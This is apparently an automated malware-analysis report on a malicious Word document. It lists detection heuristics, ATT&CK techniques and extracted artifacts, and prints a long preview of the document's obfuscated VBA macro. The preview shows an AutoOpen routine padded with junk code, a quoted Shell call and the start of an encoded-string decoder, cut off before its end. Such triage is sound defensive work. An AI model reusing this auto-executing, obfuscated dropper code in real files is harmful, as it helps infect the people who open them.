MALICIOUS
212
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic, attempts to execute code via the Shell function. This indicates the document is likely a downloader or dropper for a secondary stage payload, commonly delivered via spearphishing attachments.
Heuristics 8
-
ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End Select Call Shell(P29QYgKRD, StBQGvD) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "BfHZCs" Sub AutoOpen() uAQtaWmBy = -614 + 636 -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 81460 bytes |
SHA-256: 701d05bd7a119284f0fe6385008440231624518c647c4a75c6ee20d22ecbe1da |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
944 of 1803 identifiers look randomly generated (e.g. 'pO1N0YXJ0LVByb2Nlc3MgJHBhdGg7YnJlYWs7fWN') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "BfHZCs" Sub AutoOpen() uAQtaWmBy = -614 + 636 Select Case uAQtaWmBy Case 9810 / 1635 jPjhTZgnA = 168 Case 495 - 476 uZ62IkbG = True Case 47 + 7 uT0s7 = True Case Else pb3RcK = 168 End Select KnMjP = -614 + 636 Select Case KnMjP Case 9810 / 1635 lQxynO = 34094.395339746 Case 495 - 476 m92MkeSq = True End Select vQogye = 187 + 80 If vQogye = 9810 / 1635 Then RksGDv = FH6D08lJs Else fkpRq = 34199.26947475 End If rV3cM = RksGDv & fkpRq KrdR9JU = 19110 / 455 Select Case KrdR9JU Case 10145 - 10142 ExGHD = True Case -740 + 771 zBaSd4eWj = 27778 Case 670 - 630 w7XpF = 96 Case Else Z9NOuSZl = 60228.635483252 End Select i1LJfPT = 19110 / 455 Select Case i1LJfPT Case 10145 - 10142 T6DUbd1 = 48883.568023761 Case -740 + 771 kY7NR = 48883.568023761 Case 670 - 630 u9WXRC = 255 Case Else DKDyY3RI = iGFsaT End Select YeR5U = 19110 / 455 Select Case YeR5U Case 10145 - 10142 wLIhT64 = 6842 Case -740 + 771 XpzGmo = 42881.492484296 Case 670 - 630 sibNl = 36 End Select Plq8RoV7j = 121 - 49 Select Case Plq8RoV7j Case -3169 + 3172 ITn8lLOQA = -356693444 Case 25978 / 838 dhSfz = -27741 Case -627 + 662 b4RZH = True End Select iNXRl = 121 - 49 Select Case iNXRl Case -3169 + 3172 rRClidUO = 130 End Select Ow3VTF9M = 121 - 49 Select Case Ow3VTF9M Case -3169 + 3172 YOPCL1BAZ = 42064.041526093 Case 25978 / 838 l6UyW7bR = 48755.761437766 Case -627 + 662 ydKgD = 74 End Select jw7UyW = 8 + 71 Select Case jw7UyW Case -2808 + 2810 USgqB8s = False End Select GO4WCu1 = 742 + 22 If GO4WCu1 = -2808 + 2810 Then jewZI1jlN = 26446 End If cJh97By = cJh97By & jewZI1jlN weLMKtIER = 8 + 71 Select Case weLMKtIER Case -2808 + 2810 yVQMLYTp0 = 170 Case -784 + 800 amRY2JX = 170 End Select L94gJQP = 742 + 22 If L94gJQP = -2808 + 2810 Then ueOG6Eb3 = -1694749206 End If kMjp6 = kMjp6 & ueOG6Eb3 USiqsDwl = 8 + 71 Select Case USiqsDwl Case -2808 + 2810 vinaej = 18560.181849477 Case -784 + 800 ncOBj0 = False Case 259 - 204 Ie26PiM = 5582.1076778674 Case Else BIpb94y = N3xDpQ End Select B3a597krJ = 256 - 136 Select Case B3a597krJ Case -768 + 782 DnXfNGbV = True Case 12863 / 677 yboTcIYg = pONyg9aZ Case 1 + 50 tY4Tc = 13370 Case Else jj7XZdcOF = 32984.985876926 End Select Q6QcSChto = 583 + 16 If Q6QcSChto = -768 + 782 Then ulwxK = 0 ElseIf Q6QcSChto = 12863 / 677 Then IGbiSrLTa = 21138.122868529 Else evhfIWpx = 8819 End If DMQvtuHxc = ulwxK & IGbiSrLTa & evhfIWpx ZQmOdK = 256 - 136 Select Case ZQmOdK Case -768 + 782 VuXzI = True End Select MT7496 = 256 - 136 Select Case MT7496 Case -768 + 782 eRrfYt = 238 Case 12863 / 677 kGjue7DY = 238 Case 1 + 50 ucMxeF = 1231.5808959735 Case Else qmxTdn = 61321.781155712 End Select s19n4L = 21 + 78 Select Case s19n4L Case 2177 - 2165 kuvBG9 = -362286442 Case 27 - 5 WEkbVqf = -362286442 Case 14792 / 344 BnPT9p = 22744 End Select b24UtF = 1023 * 1 If b24UtF = 2177 - 2165 Then xWJuCEf = 43606.160584505 ElseIf b24UtF = 27 - 5 Then RntXe2q3 = 0 Else uV7Wmh3BS = arh8M0 End If JXMGWpm8 = xWJuCEf & RntXe2q3 & uV7Wmh3BS wQtExu = 21 + 78 Select Case wQtExu Case 2177 - 2165 rY1FT6P = 28922 Case 27 - 5 eMc3f = 22041.119276654 Case 14792 / 344 mZO8CPR = CpMS5Puy Case Else h8JkG7olh = 22041.119276654 End Select FLXm27G = 969 - 6 If FLXm27G = 2292 - 2285 Then qCxkB9nbw = True ElseIf FLXm27G = 29203 / 1007 Then FIy4FE = 43902.6955575 Else bufEymHI = AIjLhzwrt End If U8QaR = qCxkB9nbw & FIy4FE & bufEymHI jPyI8 = 969 - 6 If jPyI8 = 2292 - 2285 Then VsgxAwSJq = 64072.017432483 ElseIf jPyI8 = 29203 / 1007 Then fjiUEv = 64072.017432483 Else qjI3a = DzGMsecW End If zwzgjAe = VsgxAwSJq & fjiUEv & qjI3a wIVFqrW = 969 - 6 If wIVFqrW = 2292 - 2285 Then BTdO7 = -270 ElseIf wIVFqrW = 29203 / 1007 Then ZsRwOkCT0 = 63 Else sZgwv = False End If NF4w5tf = BTdO7 & ZsRwOkCT0 & sZgwv j6mRvO = 24396 / 228 Select Case j6mRvO Case 421 - 409 R4lbMC = ydf5liP Case 76 - 51 xt1SDo4m = False End Select JpS34 = 277 + 77 If JpS34 = 421 - 409 Then Had49o = 2025.3625064504 End If z0vnshGL = z0vnshGL & Had49o mKAcHu = 277 + 77 If mKAcHu = 421 - 409 Then xfGNrcJR = True End If zeVsNyZ = zeVsNyZ & xfGNrcJR I13wU4CSN = 277 + 77 If I13wU4CSN = 421 - 409 Then CytDuf = 222 End If kb4Ds2 = kb4Ds2 & CytDuf y08TaDM = -23 + 113 Select Case y08TaDM Case 4972 / 1243 xzbE5FwR = 16 End Select SyO8o = -23 + 113 Select Case SyO8o Case 4972 / 1243 qSpd346 = 23626.906310062 Case -418 + 443 WuxARU = -706055198 Case 8159 / 199 sQ1GwDkM = yb185AtnJ Case Else xU5znV = -706055198 End Select OtEYV = -23 + 113 Select Case OtEYV Case 4972 / 1243 cH4rED1g = True Case -418 + 443 E0zShk = 46124.512942106 Case 8159 / 199 GnrI1 = True Case Else KWEDT = True End Select fHniUf5 = -206 + 307 If fHniUf5 = 4972 / 1243 Then mwzvdU = 31408 Else T90uDUQT = YdXCu End If jaY82l3 = mwzvdU & T90uDUQT oEgUy = -206 + 307 If oEgUy = 4972 / 1243 Then f3BgMY = 36995.402543887 Else wvdwxc = 28155 End If SJEe8sb = f3BgMY & wvdwxc CqxmQWO = 7490 / 14 If CqxmQWO = -3986 + 3989 Then iCeZlyYr = -9167 Else plE9k = -9167 End If AlNR8Vj = iCeZlyYr & plE9k uT8uKOfzb = 7490 / 14 If uT8uKOfzb = -3986 + 3989 Then wzKwv9W = 46763.432409454 End If BIz82Zkq = BIz82Zkq & wzKwv9W vRfoI = 7490 / 14 If vRfoI = -3986 + 3989 Then RmuTX = -2640 End If itdvQFTeZ = itdvQFTeZ & RmuTX jiNlKW = 7490 / 14 If jiNlKW = -3986 + 3989 Then woy5I1rZ = vl5q7Q4 Else unZQai = 21446 End If CYTuZI9 = woy5I1rZ & unZQai c3dI5 = 5664 / 96 Select Case c3dI5 Case 9489 - 9488 HE8Fmvn0i = 2573.9077400054 End Select wxWCDK3B = 322 - 57 If wxWCDK3B = 9489 - 9488 Then JGpDvtOCf = False End If u5tEySzMj = u5tEySzMj & JGpDvtOCf lnlIWFHP = 5664 / 96 Select Case lnlIWFHP Case 9489 - 9488 HrlEe = 16960.642004307 Case 31380 / 1046 PSIsB = 226 Case 108 - 56 n1ht9fp = 0 End Select ePLfZAmF = 443 - 72 If ePLfZAmF = -811 + 819 Then qIKwaR = xXUAM ElseIf ePLfZAmF = -1160 + 1184 Then dTvyENIr = -14497 Else zWsnd = 0 End If MxZcL = qIKwaR & dTvyENIr & zWsnd XsAX3JMe7 = 144 - 51 Select Case XsAX3JMe7 Case -811 + 819 PgNebJt3M = 168 Case -1160 + 1184 EgO4TCr = 168 Case 814 - 773 E8NA9 = zAR0li End Select J6zQtVk1 = 443 - 72 If J6zQtVk1 = -811 + 819 Then OjzIM98G5 = -1182509204 ElseIf J6zQtVk1 = -1160 + 1184 Then xI1xuLRG = True Else dG51etHE = -4552 End If xjQ0NaUzC = OjzIM98G5 & xI1xuLRG & dG51etHE DFgYBoX = 443 - 72 If DFgYBoX = -811 + 819 Then NhxIGEB = 35799.67533456 Else jmjKezW2 = 0 End If freEBuH = NhxIGEB & jmjKezW2 yrxAGsZPT = 17390 / 235 Select Case yrxAGsZPT Case 851 - 837 J4R8veUw = 175 Case 863 - 831 j7IrH = 0 End Select dGVU5ARN = 656 - 53 If dGVU5ARN = 851 - 837 Then surBXD = 64926.562186034 ElseIf dGVU5ARN = 863 - 831 Then m1TRJQGf8 = 64926.562186034 Else EUS7Cfiq = False End If CFdl6VJyO = surBXD & m1TRJQGf8 & EUS7Cfiq o76cqds = 17390 / 235 Select Case o76cqds Case 851 - 837 YVLvzeyJ = 20134.391178375 Case 863 - 831 OtLX9GaeR = 138 End Select slB7mpHu = 17390 / 235 Select Case slB7mpHu Case 851 - 837 P741vT = seiYU4 Case 863 - 831 MhaXf = seiYU4 Case -542 + 588 D17GZ = seiYU4 Case Else ar3J2 = -23601 End Select HGRgk = 656 - 53 If HGRgk = 851 - 837 Then YQ5Xgs = -29397 Else YXMRa2u = 49637.096798873 End If OoRPVYwG = YQ5Xgs & YXMRa2u lfmUdWI3g = 31898 / 389 Select Case lfmUdWI3g Case -2757 + 2765 kB1kP = 3034.9592806091 Case 14849 / 479 fXC1rSJ = 22785 Case -237 + 273 xLxb5my = Fs2Ea79m End Select alyF1K = 31898 / 389 Select Case alyF1K Case -2757 + 2765 xXzjUZ = -19391 Case 14849 / 479 ZR8YJ = -19391 Case -237 + 273 L5nAvHqo = 55112.157508039 Case Else RDPgWprVE = -1520903832 End Select OHsiV = 31898 / 389 Select Case OHsiV Case -2757 + 2765 ACMEpAj = False Case 14849 / 479 EYfNrSp5T = 62090.617864161 Case -237 + 273 oI0HEJ = False Case Else NBeNqsf = CxsDy End Select wH1lTgxr = 23325 / 25 If wH1lTgxr = -2757 + 2765 Then vNZsrAy = 244 ElseIf wH1lTgxr = 14849 / 479 Then JBybH6XEN = 244 Else KIAZiV = 63083.83604258 End If nl3My = vNZsrAy & JBybH6XEN & KIAZiV S7jcZnO = 14238 / 226 Select Case S7jcZnO Case 10128 / 633 BMUOPRHk = 26520.529623988 Case -546 + 576 UQ3MbW27i = 26520.529623988 End Select CDi4E = 14238 / 226 Select Case CDi4E Case 10128 / 633 jGjN9t = 8198.9065645187 Case -546 + 576 zuDqMA = -2056789920 Case 26216 / 452 SE36Mrdq = F8heTQx End Select IJZHS = 14238 / 226 Select Case IJZHS Case 10128 / 633 mZF9N = 253 End Select WqldgYV = 2121 / 21 Select Case WqldgYV Case -706 + 722 qbmLuR = True End Select MziVe2Uu4 = 2121 / 21 Select Case MziVe2Uu4 Case -706 + 722 moHSDyEz = -1371882162 Case 837 - 811 cWdot = 229 Case 451 - 405 ev9sR = 229 End Select ts8oqCzU = 5412 / 6 If ts8oqCzU = -706 + 722 Then Ci8Q4p = 25989.217221208 End If F2BrGU9A = F2BrGU9A & Ci8Q4p R6oRC4jOu = 5412 / 6 If R6oRC4jOu = -706 + 722 Then BcJB9wT = 63860.107726893 End If NRYQ5JI = NRYQ5JI & BcJB9wT AuZK69GaA = -16 + 142 If AuZK69GaA = -8027 + 8028 Then YQwzOp = 9597 Else L0Qs7Joqw = 61 End If vHThYjEI = YQwzOp & L0Qs7Joqw szhsvE = -6196 + 6197 Select Case szhsvE Case -8027 + 8028 csv2l01O = True End Select z1Oslrkx = -16 + 142 If z1Oslrkx = -8027 + 8028 Then g6zOK = 9383.2731680795 End If ukba5S = ukba5S & g6zOK ym9Fv = -16 + 142 If ym9Fv = -8027 + 8028 Then GbFouImV = 20667 End If OsqgSxbJ = OsqgSxbJ & GbFouImV JkSREJzn = 662 - 44 If JkSREJzn = 11052 / 11052 Then xR7zFO = 63579.095588746 End If VEkI7mhM = VEkI7mhM & xR7zFO EeYQXlmuq = 662 - 44 If EeYQXlmuq = 11052 / 11052 Then bu8CV = 8681 End If TqXOF = TqXOF & bu8CV gOLulGrZ = 662 - 44 If gOLulGrZ = 11052 / 11052 Then HiRkxvLa = False ElseIf gOLulGrZ = 3393 / 117 Then ZgQfx = 232 Else gTfonCgDk = 232 End If xwMRYv0T = HiRkxvLa & ZgQfx & gTfonCgDk TnG680gkP = 662 - 44 If TnG680gkP = 11052 / 11052 Then h9jEp = cezrc ElseIf TnG680gkP = 3393 / 117 Then c8L4GFQc = cezrc Else scQ0zD = False End If gYcRJb3lU = h9jEp & c8L4GFQc & scQ0zD rnmrZV0 = 356 - 228 Select Case rnmrZV0 Case 11052 / 11052 yK2Y5ZO = aYI1Nv End Select YiTsR ALzgHU = 297 * 1 If ALzgHU = -1155 + 1167 Then ykMStc9i = 41279.045121157 ElseIf ALzgHU = 584 - 555 Then DXOxr2Zc = 41279.045121157 Else cLEY2 = -12790 End If RtfQKdvI = ykMStc9i & DXOxr2Zc & cLEY2 ozUXSY3sA = 297 * 1 If ozUXSY3sA = -1155 + 1167 Then Z6Qqk3d = 2527.3309653211 End If gSgQDW = gSgQDW & Z6Qqk3d UBL6tS = 213 - 158 Select Case UBL6tS Case -1155 + 1167 lq1D8Uh = 3065.8152864477 Case 584 - 555 TJl7UQPdj = 16700 Case -423 + 487 HPy4tvq8 = 16700 Case Else SMWVZO = 232 End Select jlcKxmYT = 213 - 158 Select Case jlcKxmYT Case -1155 + 1167 gsLqGx = 0 Case 584 - 555 bWlCT6Au = True Case -423 + 487 vKhp5nJxG = 599 End Select zZlqb = 8498 / 14 If zZlqb = 12630 / 842 Then azNGeQCDj = -793379014 ElseIf zZlqb = 630 - 598 Then LDnICLb = 1271.8805445899 Else LAP84mrN = True End If kyRSsP = azNGeQCDj & LDnICLb & LAP84mrN Z94OZyk = 8498 / 14 If Z94OZyk = 12630 / 842 Then o8TGinJLN = 0 Else stSJAde8 = 22309 End If UyIWP = o8TGinJLN & stSJAde8 nPE6dujW8 = 255 - 192 Select Case nPE6dujW8 Case 12630 / 842 g8m74 = True Case 630 - 598 N8SktGZ5K = 51751.710249979 End Select IyGwv = 691 * 1 If IyGwv = 644 - 641 Then VOFKQ = -1026079552 End If rBLhj82JF = rBLhj82JF & VOFKQ TOAwj = 170 - 75 Select Case TOAwj Case 644 - 641 gRqJmOl = WNLHGV Case 1806 - 1788 MKWdV3 = WNLHGV End Select rz1bea2yj = 170 - 75 Select Case rz1bea2yj Case 644 - 641 IYCmiOgXz = 255 Case 1806 - 1788 Nkxr8MHO = 40566.424383832 Case 530 - 474 yKTh5Pp = -2017341416 Case Else y2g8WFnC = -2017341416 End Select FaD2ktrZ = 170 - 75 Select Case FaD2ktrZ Case 644 - 641 NnABW = 3764 Case 1806 - 1788 rK59x = 33548.73299685 Case 530 - 474 MsYdOxP3R = -1021485990 End Select d58a40l6F = 7584 / 8 If d58a40l6F = 18579 / 6193 Then lpuXfkD = 9263.0309199914 ElseIf d58a40l6F = 16307 / 709 Then BE6lz0 = 125 Else KiNn5E = 0 End If fW2mkb = lpuXfkD & BE6lz0 & KiNn5E cIo7WesC = 7584 / 8 If cIo7WesC = 18579 / 6193 Then OCTWtFUN9 = 23426.538878613 Else jauD3Qo2 = 23426.538878613 End If EAr9F = OCTWtFUN9 & jauD3Qo2 BzrM2nmp = 7584 / 8 If BzrM2nmp = 18579 / 6193 Then icBKsG4 = 22924 ElseIf BzrM2nmp = 16307 / 709 Then y8QMHd = 18662.999405698 Else fgpyX = 22924 End If Zo4LdZY5 = icBKsG4 & y8QMHd & fgpyX i3CXeDBT = -538 + 590 Select Case i3CXeDBT Case 14839 / 1349 aOrAiqR = 1186.8507423317 Case 8778 / 418 zpIrQh = 1186.8507423317 Case 20679 / 339 JCjvwhn = False Case Else iN1az = 7286.6595648753 End Select Xdj0ZF = 12350 / 65 If Xdj0ZF = 14839 / 1349 Then dxM7Cg = 16378.157834577 ElseIf Xdj0ZF = 8778 / 418 Then irNREBHmK = nzYlKj Else hxzfiN7Q = 207 End If SFAKT7c = dxM7Cg & irNREBHmK & hxzfiN7Q zbfkR = 12350 / 65 If zbfkR = 14839 / 1349 Then Z6tm8 = True ElseIf zbfkR = 8778 / 418 Then PIUSLvnW = 0 Else wNOQy = -9746 End If JtJWsbUf = Z6tm8 & PIUSLvnW & wNOQy qf9LlVT = -538 + 590 Select Case qf9LlVT Case 14839 / 1349 xmQF5fp = 169 Case 8778 / 418 dZHtJu = 28492 Case 20679 / 339 BuNrl4Mtz = 28492 End Select WFy12uR = -538 + 590 Select Case WFy12uR Case 14839 / 1349 FCVc8i6 = 8521.081039557 Case 8778 / 418 wCV8hI4js = 0 Case 20679 / 339 wFAvxrkLR = 39019.043076472 End Select o7hfi6c9 = 22000 / 80 If o7hfi6c9 = 20702 - 20701 Then Nr4Td3p = 48283.439622051 ElseIf o7hfi6c9 = 389 - 361 Then XmylwsM = 32421 Else xc8y0P73U = 90 End If H2FdCpDH = Nr4Td3p & XmylwsM & xc8y0P73U nx6W2yFO = 20484 / 569 Select Case nx6W2yFO Case 20702 - 20701 gcy547Skp = 24868 Case 389 - 361 WXYc2i = 145 End Select LncNY = 22000 / 80 If LncNY = 20702 - 20701 Then gInqVpZ = 12007 ElseIf LncNY = 389 - 361 Then YBnp1yMj = 23654.116558444 Else Shl8cI = True End If Vysnx = gInqVpZ & YBnp1yMj & Shl8cI CQulK7m = 22000 / 80 If CQulK7m = 20702 - 20701 Then nEWwfL = 50 End If MxcyHUz2 = MxcyHUz2 & nEWwfL v6lt9a = 20484 / 569 Select Case v6lt9a Case 20702 - 20701 nXlFRbg = 40672.096602383 End Select End Sub Attribute VB_Name = "eSzLND4" Private Const Q29sbx = 16711790 - 110 Private Const bHx0hvMf8 = 55808 + 9472 Private Const XHvfW5b = 3570 / 14 Private Const FPhdDSb = 110886912 / 423 Private Const u5jA7nM2 = 4096 * 1 Private Const nzvCBYp = 89 - 25 Private Const IPSYL6N = 22272 / 87 Private Const d4Rc7hj9 = 2119761920 / 32345 Public Function sTpb9kQtu(gYXp9B6W As String) As String Dim OrCbvWu30() As Byte Dim NOfRUr10() As Byte Dim rC6LbMfq8(255) As Byte Dim jL7lHpZ2(63) As Long Dim kIS1M(63) As Long Dim H2vWl(63) As Long Dim zgIbtK5 As Long Dim mzpOmvAr As Integer Dim lChar As Long Dim lPos As Long Dim sOut As String Dim DMNkL As Long S4srW = 625 + 43 If S4srW = 31239 / 3471 Then mhAaz89q = QuCOofN1M Else GRAj3C = 22792.736703926 End If TV7EmR = mhAaz89q & GRAj3C HC139Z = 625 + 43 If HC139Z = 31239 / 3471 Then H7HBEdk = 126 ElseIf HC139Z = 23058 / 1281 Then B3mtn6fe = -30515 Else DMjOFbE = 33421.683113196 End If ScDwaG = H7HBEdk & B3mtn6fe & DMjOFbE zl9y5C = 11628 / 646 Select Case zl9y5C Case 31239 / 3471 x4wUDyCXz = 28344.212569954 End Select TjA7dK = 912 - 29 If TjA7dK = -55 + 67 Then T4Ypo = 61877.708478973 End If bupm23IGr = bupm23IGr & T4Ypo JfhWJ = 912 - 29 If JfhWJ = -55 + 67 Then CILeXC = 22821.172153372 End If LPWUF6vK = LPWUF6vK & CILeXC ytAb5Mn = 12283 / 173 Select Case ytAb5Mn Case -55 + 67 mpPhg = 18691.205793692 Case 1268 - 1248 wJupfZmF = -126806398 End Select Xl7YQeIdA = 12283 / 173 Select Case Xl7YQeIdA Case -55 + 67 VDaUfLMX = 28228 Case 1268 - 1248 UUewhIMc = True Case -205 + 249 KcNGf = xA9ROU Case Else soA9B6 = xA9ROU End Select zMmy9nw = 3780 / 5 If zMmy9nw = 2606 - 2601 Then q230k1N = 19735.988311207 End If VALTXS = VALTXS & q230k1N p9W0FO = 11817 / 101 Select Case p9W0FO Case 2606 - 2601 JdGTZP = 30102 End Select UHLq0Bj = 11817 / 101 Select Case UHLq0Bj Case 2606 - 2601 EFXW4sTC = -11731 Case 1033 - 1017 TDWpj7 = 62427.334933852 Case 25530 / 555 YLCJt6a = 62427.334933852 End Select xkJuY5N = 11817 / 101 Select Case xkJuY5N Case 2606 - 2601 j1nD9d = tqP7rIltY Case 1033 - 1017 XI7PKlM = False Case 25530 / 555 aT95oI = 44752.291015099 Case Else FlfwNeA9 = 0 End Select gYXp9B6W = Replace(gYXp9B6W, vbCr, vbNullString) JzMdsl243 = 15 * 37 If JzMdsl243 = 2683 - 2679 Then THWAxF = 6834.9139433171 End If EnFPjg9 = EnFPjg9 & THWAxF EF8yi = 15 * 37 If EF8yi = 2683 - 2679 Then AB043ZyAK = 133 Else BHBN4Ag = 28653 End If XNgWB5Yn = AB043ZyAK & BHBN4Ag aVPciCady = 15 * 37 If aVPciCady = 2683 - 2679 Then COSeh = NgiWozK Else bRsZ2 = True End If hGt8by7UH = COSeh & bRsZ2 pN8aF4Ix2 = 15 * 37 If pN8aF4Ix2 = 2683 - 2679 Then Ff3wydr = 5782 Else vEba6gdSm = 11193.012600845 End If NUmdD8ZXS = Ff3wydr & vEba6gdSm h6unVyR = 454 + 58 If h6unVyR = -237 + 251 Then ZAGDxs = 0 ElseIf h6unVyR = 1412 - 1390 Then RkeD5xH = False Else YLmnN = 18182.369550026 End If lnMex = ZAGDxs & RkeD5xH & YLmnN RvuQioMX = 111 - 52 Select Case RvuQioMX Case -237 + 251 AbtPVZe = 29324.714480883 Case 1412 - 1390 VlVWw = 62679.061965083 End Select Zvu7dqEM = 454 + 58 If Zvu7dqEM = -237 + 251 Then V239N07 = 190 End If A6wQyC = A6wQyC & V239N07 gYXp9B6W = Replace(gYXp9B6W, vbLf, vbNullString) CchtgV = -137 + 223 Select Case CchtgV Case 15896 - 15895 NbKcBwVP = -10925 Case 960 - 944 Zalp0Sn2 = -10925 End Select TeM9Zy = -137 + 223 Select Case TeM9Zy Case 15896 - 15895 BZnV2GkB = -6658 End Select UqY6X = 545 + 11 If UqY6X = 15896 - 15895 Then LDJfNl7U5 = Cfc5J1RGz ElseIf UqY6X = 960 - 944 Then SDYVJvTd7 = 46943.115341511 Else ReuULoY = Cfc5J1RGz End If Swe941k = LDJfNl7U5 & SDYVJvTd7 & ReuULoY lxEYzsPwL = -1435 + 1455 Select Case lxEYzsPwL Case -422 + 435 TJIqZU9xB = -17648 Case 896 - 869 HLd5RTnj = O851b End Select khn0btc = 23069 / 391 If khn0btc = -422 + 435 Then xjZrLx = 0 ElseIf khn0btc = 896 - 869 Then KC01J = -14538 Else MRzVe = 37 End If nKFtjp = xjZrLx & KC01J & MRzVe TXm0H = -1435 + 1455 Select Case TXm0H Case -422 + 435 wvQjh = False Case 896 - 869 WMqvxLgZD = 40972.999398252 Case 766 - 722 RblVB = 0 Case Else jgiBcD = -6965 End Select Y8YNrG9v = 23069 / 391 If Y8YNrG9v = -422 + 435 Then QFrlxTiC = 38247.971904987 End If HAUsPucwL = HAUsPucwL & QFrlxTiC DMNkL = Len(gYXp9B6W) Mod 4 tYrBSa = 7641 / 9 If tYrBSa = 5754 / 411 Then vPX5LDB2h = True Else OHUVv = KtRahYO End If bszF2dC = vPX5LDB2h & OHUVv efAiRIs0 = 7641 / 9 If efAiRIs0 = 5754 / 411 Then gOi0Pkt = VCIDh14A ElseIf efAiRIs0 = -55 + 83 Then tVGpAQkwS = 33949.269559545 Else uUvOmr0Wc = True End If pTclILw = gOi0Pkt & tVGpAQkwS & uUvOmr0Wc MNrOEZp = 434 - 385 Select Case MNrOEZp Case 5754 / 411 zJG40Iuc = -9243 Case -55 + 83 WG7CzX = 17577.052018371 Case -283 + 330 QvrWIz = 0 Case Else xJXxRze7 = 0 End Select DyMoaHA = 434 - 385 Select Case DyMoaHA Case 5754 / 411 E2guJW = 18573 Case -55 + 83 vxeUpJTFG = 18573 End Select PAJlpYWx = 7641 / 9 If PAJlpYWx = 5754 / 411 Then e6ecD = 12322.79751625 ElseIf PAJlpYWx = -55 + 83 Then xktDGR0i = 27785.207443232 Else PGnyWizQg = True End If onk2VeX = e6ecD & xktDGR0i & PGnyWizQg zZHkxBoy = 13 * 33 If zZHkxBoy = 838 - 823 Then JVdOHt = 14862 End If D9qdSwv = D9qdSwv & JVdOHt OrRGb5 = 17325 / 175 Select Case OrRGb5 Case 838 - 823 kOVtF4hl = 41 Case -1233 + 1251 PiFCf7M = True Case 601 - 549 a9FqHW5P = True Case Else EtvVsE1 = AYpvT8ih End Select MkxeHVB = 13 * 33 … |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.